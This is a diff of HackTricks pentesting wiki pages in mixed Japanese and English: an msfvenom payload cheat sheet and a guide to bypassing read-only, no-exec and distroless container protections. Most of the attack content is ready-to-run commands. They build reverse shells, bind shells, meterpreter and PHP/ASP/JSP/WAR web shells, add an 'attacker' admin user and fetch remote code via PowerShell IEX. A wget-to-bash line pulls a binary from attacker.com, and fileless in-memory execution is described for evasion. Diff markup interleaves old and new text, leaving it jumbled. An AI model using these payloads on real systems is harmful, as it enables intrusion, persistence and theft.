* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
{% endhint %}

View file

@ -1,43 +1,44 @@
# MSFVenom - チートシート # MSFVenom - CheatSheet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう! Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**ハッキングの洞察**\ **Hacking Insights**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**リアルタイムハックニュース**\ **Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**最新のアナウンス**\ **Latest Announcements**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手する 新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
**[Discord](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!** **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
*** ***
## 基本的な msfvenom ## Basic msfvenom
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>` `msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
`-a` を使用してアーキテクチャを指定するか、`--platform` を使用することもできます アーキテクチャを指定するには `-a` を使用するか、`--platform` を使用できます
## リスト化 ## Listing
```bash ```bash
msfvenom -l payloads #Payloads msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders msfvenom -l encoders #Encoders
@ -74,28 +75,28 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
``` ```
{% endcode %} {% endcode %}
### CMD シェル ### CMDシェル
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
``` ```
### **コマンドの実行** ### **コマンドを実行する**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
``` ```
{% endcode %} ### エンコーダー
### エンコーダ
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
``` ```
### 実行可能ファイルに埋め込まれた {% endcode %}
### 実行可能ファイル内に埋め込まれた
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -112,23 +113,19 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
``` ```
{% endcode %}
### バインドシェル ### バインドシェル
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
``` ```
{% endcode %} ### SunOS (Solaris)
### SunOSSolaris
{% code overflow="wrap" %}
```bash ```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
``` ```
## **MAC ペイロード** {% endcode %}
## **MACペイロード**
### **リバースシェル:** ### **リバースシェル:**
@ -146,31 +143,45 @@ msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho
``` ```
{% endcode %} {% endcode %}
## **Webベースのペイロード** ## **ウェブベースのペイロード**
### **PHP** ### **PHP**
#### 逆シェル #### リバースシェル
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
``` ```
{% endcode %}
### ASP/x ### ASP/x
#### リバースシェル #### リバースシェル
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
``` ```
{% endcode %}
### JSP ### JSP
#### リバースシェル #### リバースシェル
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
``` ```
{% endcode %}
### WAR ### WAR
#### リバースシェル #### リバースシェル
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
``` ```
@ -191,16 +202,10 @@ msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw >
{% endcode %} {% endcode %}
### **Python** ### **Python**
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
``` ```
{% endcode %}
### **Bash** ### **Bash**
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
``` ```
@ -208,29 +213,30 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! 経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツと関わりましょう ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態で把握しましょう リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**最新のお知らせ**\ **最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう! **私たちに参加して** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で今日からトップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で、ゼロからヒーローまでAWSハッキングを学びましょう</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com) を手に入れましょう
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけましょう
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしましょう
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有しましょう
</details> </details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# バイパスFS保護: 読み取り専用 / 実行不可 / Distroless # FS保護のバイパス: 読み取り専用 / no-exec / Distroless
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出する。
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味がある方や **解読不能なものをハック**したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_ **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 動画 ## 動画
以下の動画では、このページで言及されているテクニックについてより詳しく説明されています: 以下の動画では、このページで言及された技術がより深く説明されています:
* [**DEF CON 31 - ステルスおよび回避のためのLinuxメモリ操作の探索**](https://www.youtube.com/watch?v=poHirez8jk4) * [**DEF CON 31 - Linuxメモリ操作の探求ステルスと回避**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ngとインメモリdlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) * [**DDexec-ngとメモリdlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## 読み取り専用 / 実行不可シナリオ ## 読み取り専用 / no-execシナリオ
**読み取り専用roファイルシステム保護****Linuxマシン**で **より一般的**になってきており、特にコンテナ内では **設定が簡単**であるためです。これは、`securitycontext` で **`readOnlyRootFilesystem: true`** を設定するだけでコンテナを **roファイルシステム**で実行できるためです: Linuxマシンが**読み取り専用roファイルシステム保護**でマウントされていることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけで、roファイルシステムでコンテナを実行することができます
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod kind: Pod
@ -44,101 +45,110 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"] </strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre> </code></pre>
しかし、ファイルシステムが **ro** でマウントされていても、**`/dev/shm`** は書き込み可能のままなので、ディスクに書き込むことができないというのは偽物です。ただし、このフォルダは **実行不可保護** でマウントされるため、ここにバイナリをダウンロードしても **実行できません** しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダは**no-exec保護**でマウントされるため、ここにバイナリをダウンロードしても**実行することはできません**。
{% hint style="warning" %} {% hint style="warning" %}
レッドチームの観点からすると、これは既存のシステムにないバイナリ(バックドアや `kubectl` のような列挙ツール)を **ダウンロードして実行するのが複雑**になります レッドチームの観点から見ると、これは**システムに既に存在しないバイナリをダウンロードして実行することを複雑にします**(バックドアや`kubectl`のような列挙ツールなど)
{% endhint %} {% endhint %}
## 最も簡単なバイパス: スクリプト ## 最も簡単なバイパス: スクリプト
バイナリを言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**`sh` があれば)や **Pythonスクリプト**`python` がインストールされていれば)など、**任意のスクリプトを実行**できます。 バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行できます**。たとえば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
ただし、これだけではバイナリバックドアや実行する必要がある他のバイナリツールを実行するには十分ではありません。 ただし、これはバイナリバックドアや実行する必要がある他のバイナリツールを実行するには十分ではありません。
## メモリバイパス ## メモリバイパス
ファイルシステムがそれを許可していない場合にバイナリを実行したい場合、**メモリから実行する**のが最善です。なぜなら、**保護がそこには適用されない**からです バイナリを実行したいがファイルシステムがそれを許可していない場合、最良の方法は**メモリから実行すること**です。なぜなら、**保護はそこには適用されないからです**
### FD + exec シスコールバイパス ### FD + execシステムコールバイパス
**Python**、**Perl**、**Ruby** などの強力なスクリプトエンジンがマシン内にある場合、メモリにバイナリをダウンロードして実行しこれらの保護によって保護されないメモリファイルディスクリプタ(`create_memfd` シスコール)に保存し、その後 **`exec` シスコール** を呼び出して **fd を実行するファイル** として指定します。 マシン内に**Python**、**Perl**、または**Ruby**などの強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**fdを実行するファイルとして指定**できます。
これには、プロジェクト [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) を簡単に使用できます。バイナリを渡すと、バイナリが **b64エンコード** された **スクリプト** が生成され、`create_memfd` シスコールを呼び出して **fd** に保存されたバイナリを **デコードおよび解凍** する手順が記述され、それを実行する **exec** シスコールが呼び出されます。 これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**でそれを**デコードおよび解凍する**ための指示を含むスクリプトが生成されます。
{% hint style="warning" %} {% hint style="warning" %}
これは、PHPやNodeなどの他のスクリプト言語では、スクリプトから **生のシスコールを呼び出すデフォルトの方法** がないため、`create_memfd` を呼び出して **バイナリを保存するメモリfd** を作成することができません これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出す**デフォルトの方法がないため**、バイナリを保存するための**メモリfd**を作成するために`create_memfd`を呼び出すことができないからです
また、`/dev/shm` 内のファイルで **通常のfd** を作成しても、**実行不可保護** が適用されるため、実行できません さらに、`/dev/shm`にファイルを持つ**通常のfd**を作成しても機能しません。なぜなら、**no-exec保護**が適用されるため、それを実行することは許可されないからです
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) は、自分自身のプロセスの **`/proc/self/mem`** を上書きすることで、**プロセスが実行しているアセンブリコードを制御**し、 **シェルコード** を書き込んでプロセスを **任意のコードを実行** するように "変異" させる技術です。 [**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、プロセスの**`/proc/self/mem`**を上書きすることによって**自分のプロセスのメモリを変更する**技術です。
したがって、プロセスによって実行されているアセンブリコードを**制御することができ**、**シェルコード**を書き込み、プロセスを「変異」させて**任意のコードを実行する**ことができます。
{% hint style="success" %} {% hint style="success" %}
**DDexec / EverythingExec** を使用すると、自分自身のプロセスから **メモリ** から **自分自身のシェルコード** または **任意のバイナリ****ロードして実行** できます。 **DDexec / EverythingExec**を使用すると、**メモリから**自分の**シェルコード**や**任意のバイナリ**を**ロードして実行**できます。
{% endhint %} {% endhint %}
```bash ```bash
# Basic example # Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
``` ```
For more information about this technique check the Github or:
{% content-ref url="ddexec.md" %}
[ddexec.md](ddexec.md)
{% endcontent-ref %}
### MemExec ### MemExec
[**Memexec**](https://github.com/arget13/memexec)はDDexecの自然な次のステップです。これは**DDexecシェルコードをデーモン化**したもので、**異なるバイナリを実行**したいときには、DDexecを再起動する必要はありません。代わりに、DDexec技術を使用してmemexecシェルコードを実行し、**このデーモンと通信して新しいバイナリをロードして実行**できます。 [**Memexec**](https://github.com/arget13/memexec) は DDexec の自然な次のステップです。これは **DDexec シェルコードのデーモン化** であり、異なるバイナリを **実行するたびに** DDexec を再起動する必要はなく、DDexec テクニックを介して memexec シェルコードを実行し、**このデーモンと通信して新しいバイナリを読み込んで実行する**ことができます。
**memexecを使用してPHPリバースシェルからバイナリを実行する例**は、[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見つけることができます。 **memexec を使用して PHP リバースシェルからバイナリを実行する方法の例**は [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) で見つけることができます。
### Memdlopen ### Memdlopen
DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memdlopen)技術は、後で実行するためにメモリにバイナリをロードする**簡単な方法**を提供します。これにより、依存関係を持つバイナリをロードすることさえ可能になります。 DDexec と同様の目的を持つ [**memdlopen**](https://github.com/arget13/memdlopen) テクニックは、**メモリにバイナリを読み込む** より簡単な方法を提供します。依存関係を持つバイナリを読み込むことさえ可能です。
## Distroless Bypass ## Distroless Bypass
### Distrolessとは ### What is distroless
Distrolessコンテナは、特定のアプリケーションやサービスを実行するために必要な**最小限のコンポーネント**だけが含まれており、パッケージマネージャーやシェル、システムユーティリティなどのより大きなコンポーネントは除外されています。 Distroless コンテナは、特定のアプリケーションやサービスを実行するために必要な **最小限のコンポーネント** のみを含み、ライブラリやランタイム依存関係を含みますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されます。
Distrolessコンテナの目標は、**不要なコンポーネントを排除**し、悪用される可能性のある脆弱性の数を最小限に抑えることによって、コンテナの攻撃面を**縮小**することです。 Distroless コンテナの目的は、**不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ**、悪用可能な脆弱性の数を最小限に抑えることです。
### リバースシェル ### Reverse Shell
Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。`ls`、`whoami`、`id`などのバイナリも見つかりません...通常システムで実行するすべてのものが含まれていません Distroless コンテナでは、**通常のシェルを取得するための `sh``bash`** すら見つからないかもしれません。また、`ls`、`whoami`、`id` などのバイナリも見つかりません... システムで通常実行するすべてのものです
{% hint style="warning" %} {% hint style="warning" %}
したがって、通常どおりに**リバースシェル**を取得したり、システムを**列挙**することはできません。 したがって、**リバースシェル**を取得したり、通常のようにシステムを**列挙**したりすることはできません。
{% endhint %} {% endhint %}
ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされているため、**Pythonリバースシェル**を取得できます。Nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。 しかし、もし侵害されたコンテナが例えば Flask ウェブを実行している場合、Python がインストールされているため、**Python リバースシェル**を取得できます。Node.js を実行している場合は Node リバースシェルを取得でき、ほとんどの **スクリプト言語**でも同様です。
{% hint style="success" %} {% hint style="success" %}
スクリプト言語を使用すると、言語の機能を使用してシステムを**列挙**することができます。 スクリプト言語を使用することで、言語の機能を利用して**システムを列挙**することができます。
{% endhint %} {% endhint %}
**`read-only/no-exec`**の保護がない場合、リバースシェルを悪用してファイルシステムに**バイナリを書き込み**、それらを**実行**することができます。 もし **`read-only/no-exec`** 保護がなければ、リバースシェルを悪用して **ファイルシステムにバイナリを書き込み****実行**することができます。
{% hint style="success" %} {% hint style="success" %}
ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。 ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行テクニックを使用してそれらを回避する**ことができます。
{% endhint %} {% endhint %}
**いくつかのRCE脆弱性を悪用して**、スクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行する方法の**例**は、[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)にあります。 **RCE 脆弱性を悪用してスクリプト言語のリバースシェルを取得し、メモリからバイナリを実行する方法の例**は [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) で見つけることができます。
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_ **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS ハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。
* **HackTricksで企業を宣伝**したり、**PDFでHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してハッキングトリックを共有してください。
